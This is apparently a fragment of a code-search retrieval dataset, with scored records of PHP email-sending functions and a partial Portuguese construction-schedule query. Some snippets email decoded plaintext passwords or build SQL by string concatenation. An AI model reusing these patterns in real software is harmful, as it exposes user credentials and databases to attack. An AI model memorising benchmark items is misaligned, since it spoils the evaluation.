to\".$i.\":\";\t\t\t\t\n\t\t\t\t\t//$text_sms .= $text_dest.$this->name.\" \".$lang['sms_invite'].$friendlist.\" \".$gpwd.$lang['to_sms_number'];\n\t\t\t\t\t$text_sms = $this->login.\" \".$lang['sms_invite'].$friendlist.\" \".$password.$lang['to_sms_number'];\n\t\t\t\t\t//echo $text_sms;\n\t\t\t\t\t$res = $Emerginov->sendSMS($i,$text_sms);\n\t\t\t\t\tif (!$res->Success){\n\t\t\t\t\t\treturn false;\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif ( $friendlistObject->password != $password) {\n\t\t\t\t\t$text_sms = $lang['friendlist_bad_password'];\n\t\t\t\t} else {\n\t\t\t\t\t$text_sms =\t$lang['sms_action_unknown'];\t\t\t\n\t\t\t\t}\n\t\t\t\t//echo $text_sms;\n\t\t\t\t$res = $Emerginov->sendSMS($i,$text_sms);\n\t\t\t\tif (!$res->Success){\n\t\t\t\t\treturn false;\t\t\t\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t} \n else {\n\t\t\treturn false;\t\n\t\t}\n\t\t// TODO first step return the string\n\t\t// next steps the status code of SMS sending\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e9b899484bfab172b2d0e77e4e3606b4", "score": "0.59021956", "text": "function sendEmail() {\n\n }", "title": "" }, { "docid": "c4d88d42eba473646090349a74ce248c", "score": "0.58851886", "text": "public function request_email()\n\t{\n\t\t$this->verify_email();\n\n\t\t// GET cached fb info\n\t\t$fb_user = $this->session->flashdata('fb_user');\n\t\t$email = $this->input->post('email_address');\n\t\t// finish connect\n\t\tif(strtolower($email) === strtolower($fb_user['email']))\n\t\t{\n\t\t\t$this->load->model('membership_model');\n\t\t\t// TODO error handling\n\t\t\t$this->membership_model->connect_facebook_account($fb_user);\n\t\t}\n\t\t// login\n\t\t$this->log_in('facebook_id', $fb_user['id'], 'site/members_area');\n\t}", "title": "" }, { "docid": "0c3e867153005103b3e788b1cd1f3017", "score": "0.5884318", "text": "public function emailRegistro()\n {\n $mensaje = '<h3>Ha traves del siguiente enlace usted completara el registro y podra comprobar o rellenar sus datos personales</h3>' .\n Html::a('Acceder a la pagina web', Url::to(['usuarios/registro', 'id' => $this->id], true));\n $resultado = Yii::$app->mailer->compose()\n ->setFrom(Yii::$app->params['adminEmail'])\n ->setTo($this->email)\n ->setSubject('Usted a sido registrado en la pagina web de Educantes')->setTextBody($mensaje)\n ->setHtmlBody($mensaje)\n ->send();\n }", "title": "" }, { "docid": "aff6cf5d3c471fbec4e4b5059405111e", "score": "0.5879452", "text": "function send_welcome_email($userData) { \n\t\t//welcome email notification\n\t\t$this->loadAllModel(array('EmailTemplate'));\n\t\t$roleTypes = $this->userTypes;\n\t\t$hashCode = md5(uniqid(rand(), true));\n\t\t$this->User->saveField('random_key',$hashCode, false);\n\t\t$site_URL = Configure::read('BASE_URL');\n\t\t$active = '<a href = \"' .$site_URL. 'users/secure_check/'.$hashCode.'\">Click to activate your account </a>'; \n\t\t$logo = '<img src=\"'.$site_URL.'img/logo.png\" style=\"height:100px; width:157px;padding-bottom: 12px;float:left;\" />';\n\t\t$template = $this->EmailTemplate->getEmailTemplate('user_registration');\n\t\t$to = $userData['email_address'];\n\t\t$emailData = $template['EmailTemplate']['template'];\t\t\t\t\t\n\t\t$tempUserType = $userData['user_type'];\n\t\t$userType = $roleTypes[$tempUserType];\n\t\t$password = base64_decode($userData['userPassword']);\n\t\t$emailData = str_replace('{FirstName}',ucfirst($userData['first_name']),$emailData);\n\t\t$emailData = str_replace('{Email}',$userData['email_address'],$emailData);\n\t\t$emailData = str_replace('{Password}',$password,$emailData);\n\t\t$emailData = str_replace('{UserType}',$userType,$emailData);\n\t\t$emailData = str_replace('{Link}',$active,$emailData);\n\t\t$emailData = str_replace('{Logo}',$logo,$emailData);\n\t\t$subject = ucfirst(str_replace('_', ' ', $template['EmailTemplate']['name']));\n\t\t//pr($emailData); die();\n\t\t$this->sendEmail($to,$subject,$emailData);\n\t}", "title": "" }, { "docid": "b419e270928137352e5634e458de2d7d", "score": "0.58777225", "text": "function sendMail($to,$message){\n\t//return true;\n\n\t$headers = \"MIME-Version: 1.0\\r\\n\";\n\t$headers .= \"From: [email protected]\\r\\n\";\n\t$headers .= \"Reply-To: [email protected]\\r\\n\";\n\t$headers .= \"MIME-Version: 1.0\\r\\n\";\n\t$headers .= \"Content-Type: text/html; charset=ISO-8859-1\\r\\n\";\n\n\treturn mail($to,'Mail My Follower - Twitter Application',$message,$headers);\n\n}", "title": "" }, { "docid": "129c75eaed1adecc09c2c25c9704cd1c", "score": "0.58765805", "text": "public function sendVerificationMailToUnverifiedUsersAction()\n\t{\n\t\t//******************************************************************************//\n\t\t// Script to send verification mail to all unverified users\n\t\t//******************************************************************************//\n\t\t$unverified_users = \\Extended\\ilook_user::getUnverifiedUsers();\n\t\tforeach($unverified_users as $unverified_user)\n\t\t{\n\t\t\tEmail_CommonMails::verificationEmail($unverified_user['id']);\n\t\t}\n\t\tdie;\n\t}", "title": "" }, { "docid": "e8955c7941a1caaf59812ec5791d09b5", "score": "0.58718723", "text": "function send_email($details = true){\n\t\t\n\t\t$status = false;\n\t\t\n\t\tif(@$details['force_email'] == true)\n\t\t{\n\t\t\t$status = true;\n\t\t}else{\n\t\t\t$uid = \"\";\n\t\t\t//GET USER ID BY RECEPIENT EMAIL\n\t\t\t$where = array(\n\t\t\t'login_email' => $details['recipient'],\n\t\t\t);\n\t\t\tforeach($this->get_details_by_multiple_column('amazetal_users',$where) as $row)\n\t\t\t{\n\t\t\t\t$uid = $row->user_id;\n\t\t\t}\n\t\t\t//FOR EXCEPTIONAL CASES WHERE WHERE IS NOT LOGGED IN LIKE FORGOT YOUR PASSWORD \n\t\t\tif(empty($uid))\n\t\t\t{\n\t\t\t\t$status = true;\n\t\t\t}\n\t\t\t\n\t\t\t//CHECK IF THE NOTIFICATION OF RECEPIENT EMAIL IS TRUE\n\t\t\t$where_array = array(\n\t\t\t\t'user_id' => $uid\n\t\t\t);\n\t\t\tforeach($this->get_details_by_multiple_column('amazetal_users',$where_array) as $row)\n\t\t\t{\n\t\t\t\tif($row->NotifyViaEmails == '1')\n\t\t\t\t{\n\t\t\t\t\t$status = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif($status == true)\n\t\t{\n\t\t\t\n\t\t\trequire_once 'PHPMailer-master/PHPMailerAutoload.php';\n\t\t\t$this->load->library('Mail');\n\t\t\t\n\t\t\t\t$data = '\n\t\t\t\t\n\t\t\t\t<head>\n <style type=\"text/css\" media=\"screen\">\n body.outlook img {\n width: 100% !important;\n max-width: 100% !important;\n }\n\t\t\n\t\t@media screen and (max-width:480px) {\n\ttable {\n\t\twidth: 100%!important;\n\t}\n}\n\t\t\n\t\t\n </style>\n</head>\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div id=\":q0\" class=\"ii gt m152ab09a6e683237 adP adO\" style=\"width:100%; max-width: 1000px;\">\n\t\t<div id=\":q1\" class=\"a3s\" style=\"width: 100%;\"><u></u>\n\t\t\t<div marginwidth=\"0\" marginheight=\"0\" style=\"width:100%;\">\n\t\t\t\t<div dir=\"ltr\" style=\"background-color:#232323 ;margin:0;padding: 20px 0;width:100%\">\n\t\t\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" height=\"100%\" width=\"100%\" >\n\t\t\t\t\t\t<tbody class=\"width:100%;\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td align=\"center\" valign=\"top\" >\n\t\t\t\t\t\t\t\t\t<div>\n\t\t\t\t\t\t\t\t\t\t<p style=\"margin-top:0\"><a target= \"_blank\" href=\"'.site_url().'\"><img src=\"'.site_url().'assets/images/logo.png\" alt=\"Amazetal\" style=\"width:40%;border:none;display:inline;font-size:14px;font-weight:bold;min-height:auto;line-height:100%;outline:none;text-decoration:none;text-transform:capitalize\" class=\"CToWUd\"></a>\n\t\t\t\t\t\t\t\t\t\t</p>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"background-color:#fdfdfd;border:1px solid #000000;border-radius:3px!important\">\n\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\" valign=\"top\" style=\"width: 100%;\n background-color: #C95B5D;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"background-color:#C95B5D;border-radius:3px 3px 0 0!important;color:#ffffff;border-bottom:0;font-weight:bold;line-height:100%;vertical-align:middle;font-family:&quot;Helvetica Neue&quot;,Helvetica,Roboto,Arial,sans-serif\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td style=\"padding:36px 48px;display:block\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h1 style=\"color:#ffffff;font-family:&quot;Helvetica Neue&quot;,Helvetica,Roboto,Arial,sans-serif;font-size:30px;font-weight:300;line-height:150%;margin:0;text-align:center\">'.$details['heading'].' </h1>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\" valign=\"top\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td valign=\"top\" style=\"background-color:#fdfdfd\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<table border=\"0\" cellpadding=\"20\" cellspacing=\"0\" width=\"100%\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td valign=\"top\" style=\"padding:48px\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div style=\"color:#5c5c5c;font-family:&quot;Helvetica Neue&quot;,Helvetica,Roboto,Arial,sans-serif;font-size:14px;line-height:150%;text-align:left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<p style=\"margin:0 0 16px\">'. $details['message'] .'</p>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\" valign=\"top\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t<table border=\"0\" cellpadding=\"10\" cellspacing=\"0\" width=\"600\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td valign=\"top\" style=\"padding:0\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<table border=\"0\" cellpadding=\"10\" cellspacing=\"0\" width=\"100%\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td colspan=\"2\" valign=\"middle\" style=\"padding:0 48px 48px 48px;border:0;color:#C95B5D;font-family:Arial;font-size:12px;line-height:125%;text-align:center\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<p>We hope you enjoy your time here, <br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tAmazetal Team.</p>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</tbody>\n\t\t\t\t\t</table>\n\t\t\t\t\t<div class=\"yj6qo\"></div>\n\t\t\t\t\t<div class=\"adL\">\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"adL\">\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"adL\">\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\n\t';\n\n\n\n\n\n\n\t\t\n\t\t\t \n\t\t // $template_html = 'Mail_templ.php';\n\n\t\t $mail = new Mail();\n\t\t $mail->setMailBody($data);\n\t\t\n\t\t\n\t\t\tif(!$mail->sendMail($details['subject'], $details['recipient']))\n\t\t\t{\n\t\t\t\techo $mail->ErrorInfo;\n\t\t\t}else{\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\n\t\t}\n\t\t\t\n\t}", "title": "" }, { "docid": "0327c8d55be1bee9fb98d876d3180473", "score": "0.5871594", "text": "public function actionMail()\r\n {\r\n \\Yii::$app->mailer->compose()\r\n ->setFrom([\\Yii::$app->params['supportEmail'] => 'Orion test mail'])\r\n ->setTo('[email protected]')\r\n ->setSubject('Verifica fnzionamento mail')\r\n ->setTextBody('Plain text content')\r\n ->setHtmlBody('<b>HTML content</b>')\r\n ->send();\r\n\r\n return $this->actionLog();\r\n }", "title": "" }, { "docid": "a66989ab36cd297bf037ac79e6b9d247", "score": "0.5869453", "text": "function bbp_edit_user_email_send_notification($user_id = 0, $args = array())\n{\n}", "title": "" }, { "docid": "eab98fb082b49abcfc96a16ef449312e", "score": "0.5867512", "text": "public function sendInvitation(User $user, sfActions $action)\n {\n $invite = Invite::createInvite($user);\n if (!$invite){\n return false;\n }\n \n // message variables\n $vars = array(\n 'invite' => $invite,\n 'name' => $this->getFirstname(),\n 'user' => $user,\n 'to' => $this->getEmail()\n );\n // mail body\n $message = $action->getPartial('mail/new_invite', $vars);\n // email job variables\n $email_job = array(\n 'to' => $this->getEmail(),\n 'subject' => 'You have been sent an invite to join ' . sfConfig::get('app_name'),\n 'from' => 'noreply@' . $_SERVER['HTTP_HOST'],\n 'message' => $message,\n 'invite' => $invite->toArray()\n );\n \n $queue = new RedisJobQueue(SendEmailWorker::QUEUE_NAME);\n $queue->addJob($email_job, false, false);\n }", "title": "" }, { "docid": "bc2c3185f6ceb8f19e9d5779f2da2093", "score": "0.58625865", "text": "public function sendEmail($user, $code){\n \tmail::send(\n \t\t'email.forgot',\n \t\t[ 'user' => $user, 'code'=>$code\n \t\t],\n \t\tfunction($message) use ($user){\n \t\t\t$message->to($user->email);\n \t\t\t$message->subject(\"user->username, reset your password\");\n \t\t}\n \t);\n }", "title": "" }, { "docid": "89e18adeddb72ff6d3a9baae5c50811c", "score": "0.5852447", "text": "public static function SendLunchInvitation($from, $friends, $location, $date, $time)\n\t\t{\n\t\t\tforeach($friends as $toUserRow)\n\t\t\t{\n\t\t\t\t$to .= $toUserRow['UserEmail'] . ' , ';\n\t\t\t}\n\t\t\t\n\t\t\t// Get rid of last comma\n\t\t\t$to = substr($to, 0, strlen($to) - 3);\n\t\t\t\n\t\t\t//define the subject of the email\n\t\t\t$subject = 'Join Me For Lunch!';\n\t\t\t\n\t\t\t$message = \"<html><h3>\" . stripcslashes($from['UserFirstName']) . \" \" . stripcslashes($from['UserLastName']) . \" has invited you to lunch at \" . stripcslashes($location) . \". It will take place on \" . $date . \" at \" . $time .\". \";\n\t\t\t$message .= \"If you would like to respond, please email \" . stripcslashes($from['UserFirstName']) . \" directly at \" . stripcslashes($from['UserEmail']) . \".</h3>\";\n\t\t\t\t\n\t\t\t//define the headers we want passed. Note that they are separated with \\r\\n\n\t\t\t$headers = 'From: [email protected]' . \"\\r\\n\" .\n\t\t\t\t'Reply-To: [email protected]' . \"\\r\\n\" .\n\t\t\t\t'X-Mailer: PHP/' . phpversion();\n\t\t\t$headers .= \"MIME-Version: 1.0\\r\\n\";\n\t\t\t$headers .= \"Content-Type: text/html; charset=ISO-8859-1\\r\\n\";\n\t\t\t\n\t\t\t//send the email\n\t\t\tEMailer::Protect($to, $to);\t\t\n\t\t\t\n\t\t\t//$mail_sent = mail( $to, $subject, $message, $headers);\n\t\t\t$mail_sent = mail( $to, 'Join Me For Lunch!', $message, $headers);\n\t\t\t\n\t\t\t//if the message is sent successfully print \"Mail sent\". Otherwise print \"Mail failed\" \n\t\t\treturn (($mail_sent ? \"Mail sent\" : \"Mail failed\"));\n\t\t}", "title": "" }, { "docid": "33296aeddfcd717ad17e4f98273a2852", "score": "0.58485436", "text": "static public function send_users_mail($users, $subject, $body, $extra_headers = array(), $individual = true)\n {\n if ($individual)\n {\n foreach($users as $u)\n self::send_user_mail($u, $subject, $body, $extra_headers);\n return;\n }\n\n \n }", "title": "" }, { "docid": "cc08b675e19ea0cbf1f03ab03bcaeecb", "score": "0.5848406", "text": "function cp_welcome_email_send($member_id) {\n\t\t\n\t\t$this->EE =& get_instance();\n\n\t\t$this->EE->load->library('email');\n\t\t$this->EE->load->helper('text');\n\t\t\n\t\t$password_string = \"abcdefghijklmnopqrstuvwxyz1234567890\";\n\t\n\t\t$password = \"\";\n\t\tfor($i=0; $i<8; $i++) {\n\t\t\t$password .= $password_string[ rand(0, strlen($password_string)-1) ];\n\t\t}\n\t\n\t\t$message = $this->settings[\"welcome_email_body\"];\n\t\t$from = $this->settings[\"welcome_email_from\"];\n\t\t\n\t\t$subject = $this->settings[\"welcome_email_subject\"];\n\t\t$subject = str_replace(\"{site_name}\", $this->EE->config->item('site_name'), $subject);\n\t\t\n\t\t$query = $this->EE->db->query(\"SELECT username, screen_name, email from exp_members WHERE member_id = \" . $member_id);\n\t\n\t\t$message = str_replace(\"{password}\", $password, $message);\n\t\t$message = str_replace(\"{username}\", $query->row(\"username\"), $message);\n\t\t$message = str_replace(\"{name}\", $query->row(\"screen_name\"), $message);\n\t\t$message = str_replace(\"{site_name}\", $this->EE->config->item('site_name'), $message);\n\t\t$message = str_replace(\"{site_url}\", $this->EE->config->item('site_url'), $message);\n\t\n\t\t$this->EE->db->query(\"UPDATE exp_members SET password = SHA('\". $password . \"') WHERE member_id = \" . $member_id);\n\t\t\n\t\t$to = $query->row(\"email\");\n\t\n\t\t$this->EE->email->wordwrap = false;\n\t\t$this->EE->email->mailtype = 'text';\t\n\t\t$this->EE->email->from( $from );\n\t\t$this->EE->email->to( $to );\n\t\tif ($this->settings[\"welcome_email_bcc\"]==\"yes\") {\n\t\t\t$this->EE->email->bcc( $this->EE->config->item('webmaster_email') );\n\t\t}\n\t\t$this->EE->email->subject( $subject );\n\t\t$this->EE->email->message(entities_to_ascii( $message ));\t\t\n\t\t$this->EE->email->Send();\n\t}", "title": "" }, { "docid": "ae01d8b0b3cc99d8ad4b48e5fcc44371", "score": "0.58470255", "text": "function sendThem()\n{\n\t$s_email = '[email protected]';\n\t$s_subject = 'Test';\n\t$s_msg = 'Test message';\n\t$s_headers = \"MIME-Version: 1.0\\n\".\n\t\t\t\t \"Content-type: text/plain; charset=iso-8859-1\\n\".\n\t\t\t\t \"From: Film Aficionado <[email protected]>\\n\".\n\t\t\t\t \"Reply-To: Film Aficionado <[email protected]>\\n\".\n\t\t\t\t \"Return-Path: [email protected]\\n\".\n\t\t\t\t \"X-Mailer: PHP/\".phpversion();\n\n\tmail($s_email, $s_subject, $s_msg, $s_headers, \"[email protected]\");\n}", "title": "" }, { "docid": "036be92304e43b9925432ace147b70e6", "score": "0.5844215", "text": "private function __sendEmail()\n {\n Mail::to($this->send_to)->send(new PasswordResetMail($this));\n }", "title": "" }, { "docid": "ffc0d7ce60c8a2c64a7efd06301d9544", "score": "0.5839836", "text": "public static function sendForgotMessage($email) {\r\n\t\t$db = Database::getInstance();\r\n\t\t$query = $db->prepare(\"select * from users where email=:email limit 1\");\r\n\t\t$query->bindParam(':email', $email, PDO::PARAM_STR);\r\n\t\t$query->execute();\r\n\t\t$query->setFetchMode(PDO::FETCH_ASSOC);\r\n\t\t$row = $query->fetch();\r\n\t\t$id = $row['id'];\r\n\t\tif ($id > 0) {\r\n\t\t\t$token = md5($row['name'].'_'.$row['id'].'_'.USER_SALT);\r\n\t\t\t$link = \"http://beta.finefin.ru/user/newpass/?email=\".urlencode($email).\"&token=\".$token;\r\n\t\t\t$subject = \"Восстановление доступа FineFin.RU\";\r\n\t\t\t$from = $reply = \"[email protected]\";\r\n\t\t\t$message = \"\r\nКто-то, может быть даже вы воспользовался функцией восстановления доступа к сайту FineFin.RU<br/>\r\nЕсли вы не понимаете, о чём речь, то проигнорируйте это письмо.<br/>\r\n<br/>\r\nСсылка для восстановления пароля: <a href=\\\"$link\\\">$link</a><br/>\r\n<br/>\r\n<br/>\r\nДомашняя бухгалтерия FineFin.RU\r\n\";\r\n\t\t\t// @TODO: use mail library\r\n\t\t\treturn mail($email, '=?UTF-8?B?'.base64_encode($subject).'?=', $message, \"'MIME-Version: 1.0\\r\\nFrom: $from <$reply>\\nReply-To: $reply \\nContent-type: text/html; charset=UTF-8\". \"\\r\\n\");\t\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "a126d0de0e605d887c2b24ea07f49ed4", "score": "0.58391905", "text": "function sendEmailToAll($subject,$message){\n\t\t$emails=$this->getAllUserEmails();\n\t\tfor($a=0;count($emails)>$a;$a++){\n\t\t\t$this->sendEmail($emails[$a],$subject,$message);\n\t\t\t\n\t\t}\n\t\t \n\t }", "title": "" }, { "docid": "fece51010dcee53eb10299741672c9e6", "score": "0.58380044", "text": "function sendVerificationMail($user)\n {\n $data['confirmation_code'] = Crypt::encrypt($user->id);\n $data['guard'] = $this->getGuard();\n\n Mail::send($this->getView('emails.verify'), $data, function ($message) use ($user) {\n $message->to($user->email, $user->name)\n ->subject('Verify your email address');\n });\n }", "title": "" }, { "docid": "e3a3acdc7c5a396e28f8f1692a107e38", "score": "0.5833726", "text": "public function email_reminder()\n {\n $remind=$this->Budget_model->get_budget_reminders();\n\n if ($remind) {\n \n foreach ($remind as $res) {\n \n echo $res->user_id;\n \n }\n }\n \n }", "title": "" }, { "docid": "aad12973a74b0332aad437e38fa0a6b9", "score": "0.5832122", "text": "public function sendInvitations()\n {\n }", "title": "" }, { "docid": "b10342c2c62c0b84378b61254bdb5ce9", "score": "0.5830829", "text": "private function sendNotificationMail() {\n // Definicion de valores del correo.\n $module = 'bioleft_transaccion';\n $key = 'transaction_confirmation_message';\n $to = implode(\",\", [\n $this->entity->getOwner()->getEmail(),\n $this->account->getEmail(),\n ]);\n $params['transaction'] = $this->entity;\n $result = $this->mailManager->mail($module, $key, $to, NULL, $params, TRUE);\n if ($result['result'] === TRUE) {\n $this->messenger()->addMessage($this->t('Your message has been sent.'));\n }\n else {\n $this->messenger()->addMessage($this->t('There was a problem sending your message and it was not sent.'), 'error');\n }\n }", "title": "" }, { "docid": "3a0595e2235dc9ef852607f6c51a502d", "score": "0.5828931", "text": "function sendEmail()\n {\n $headers[] = 'MIME-Version: 1.0';\n $headers[] = 'Content-type: text/html; charset=iso-8859-1';\n\n // Additional headers\n // $headers[] = 'To: Utshaw <[email protected]>';\n // $headers[] = 'From: Birthday Reminder <[email protected]>';\n // $headers[] = 'Cc: [email protected]';\n // $headers[] = 'Bcc: [email protected]';\n\n // Mail it\n mail($this->customer_email, $this->email_subject, $this->email_body, implode(\"\\r\\n\", $headers));\n }", "title": "" }, { "docid": "ba1a98a2554784d9ade239a4c0f144fe", "score": "0.58284235", "text": "public function sendVerificationEmail(){\n\n $this->notify(new VerifyEmail($this));\n }", "title": "" } ]
86bea0bee984e69db46e1d0e468b2d90
Busca na tabela obras2.itemevolucaomi os Itens do Cronograma Utilizado quando j existe EVO MI
[ { "docid": "85d92bcb7ceb4ca00b471055d660b968", "score": "0.49443418", "text": "public function getItensEvolucaoMiByEmiidObrid($emiid, $obrid, $relativoEdificacao = 'D', $campos = null){\n $this->validaParametroObrid($obrid);\n if(empty($obrid)){ return array(); }\n $campos_v = $campos;\n $orderBy = '';\n if($campos == null){\n $campos = ' emi.*,\n iemi.*, \n ic.*,\n um.umdeesc,\n CASE \n WHEN ocr.ocrvalorexecucao > 0 THEN\n ((ico.icovlritem * 100) / ocr.ocrvalorexecucao)\n ELSE\n 0\n END as icopercsobreobra,\n ico.*,\n ocr.ocrvalorexecucao';\n $orderBy = 'ORDER BY\n ico.icoordem';\n }\n \n $sql = \"SELECT\n {$campos}\n FROM\n obras2.evolucaomi emi\n JOIN obras2.itemevolucaomi iemi ON iemi.emiid = emi.emiid\n JOIN obras2.itenscomposicaoobra ico ON iemi.icoid = ico.icoid\n JOIN obras2.itenscomposicao ic ON ico.itcid = ic.itcid\n JOIN obras2.cronograma cro ON cro.croid = ico.croid AND cro.crostatus = 'A'\n LEFT JOIN\n (SELECT \n ocrvalorexecucao, obrid \n FROM \n obras2.obrascontrato \n WHERE \n obrid = {$obrid} AND \n ocrstatus = 'A'\n ORDER BY ocrid desc\n LIMIT 1) ocr ON ocr.obrid = ico.obrid \n \n LEFT JOIN obras2.unidademedida um ON um.umdid = ico.umdid\n \n\n WHERE\n ic.itcstatus = 'A' AND\n cro.obrid = {$obrid} AND\n ico.obrid = cro.obrid AND\n ico.relativoedificacao = '{$relativoEdificacao}' AND\n emi.emiid = {$emiid} AND\n emi.emistatus = 'A'\n {$orderBy}\";\n\n $dados = $this->carregar($sql);\n \n $dados = (!empty($dados)) ? $dados : array();\n \n if($campos_v == null){\n $arItens = $this->getDadosCalculosEvolucao($dados, $fonte = 'evo', $relativoEdificacao);\n }else{\n $arItens = $dados;\n }\n \n \n return $arItens;\n }", "title": "" } ]
[ { "docid": "d1aa4f2fcda11cec250eef1da34434ac", "score": "0.5740232", "text": "public function calculaCronograma($obrid){\n\n $arValoresMensal = array();\n\n $sqlObra = \"SELECT\n obrid AS id,\n ocrvalorexecucao AS valor,\n ocrdtinicioexecucao AS inicio,\n ocrdtterminoexecucao AS fim\n FROM\n obras2.obrascontrato\n WHERE\n ocrstatus = 'A' AND\n obrid = {$obrid};\";\n\n $dadosObra = $this->pegaLinha($sqlObra);\n\n// $sqlEstruturaObra = \"SELECT\n// eobid AS id,\n// eobvalor AS valor,\n// eobinicio AS inicio,\n// eobtermino AS fim\n// FROM\n// portos.estruturaobra\n// WHERE\n// obrid = {$obrid} AND eobstatus = 'A';\";\n//\n// $dadosEstruturasObra = $this->carregar($sqlEstruturaObra);\n// $subtrairEstruturasObra = 0;\n// se obra possui estrutura\n// if( is_array($dadosEstruturasObra) ){\n// foreach ($dadosEstruturasObra as $estruturaObra){\n// $subtrairEstruturasObra += $estruturaObra['valor'];\n $sqlItensComposicao = \"SELECT\n i.icoid AS id,\n i.icovlritem AS valor,\n i.icodtinicioitem AS inicio,\n i.icodterminoitem AS fim\n FROM\n obras2.itenscomposicaoobra i\n JOIN obras2.cronograma cro ON cro.croid = i.croid AND cro.crostatus = 'A'\n WHERE\n cro.obrid = {$obrid} AND\n i.icostatus = 'A';\";\n $dadosItensComposicao = $this->carregar($sqlItensComposicao);\n\n $subtrairItensComposicao = 0;\n // se estrutura possui itens composição\n if( is_array($dadosItensComposicao) ){\n foreach ($dadosItensComposicao as $itemComposicao){\n $subtrairItensComposicao += $itemComposicao['valor'];\n\n $sqlDetalheItem = \"SELECT\n ditid AS id,\n ditvalor AS valor,\n 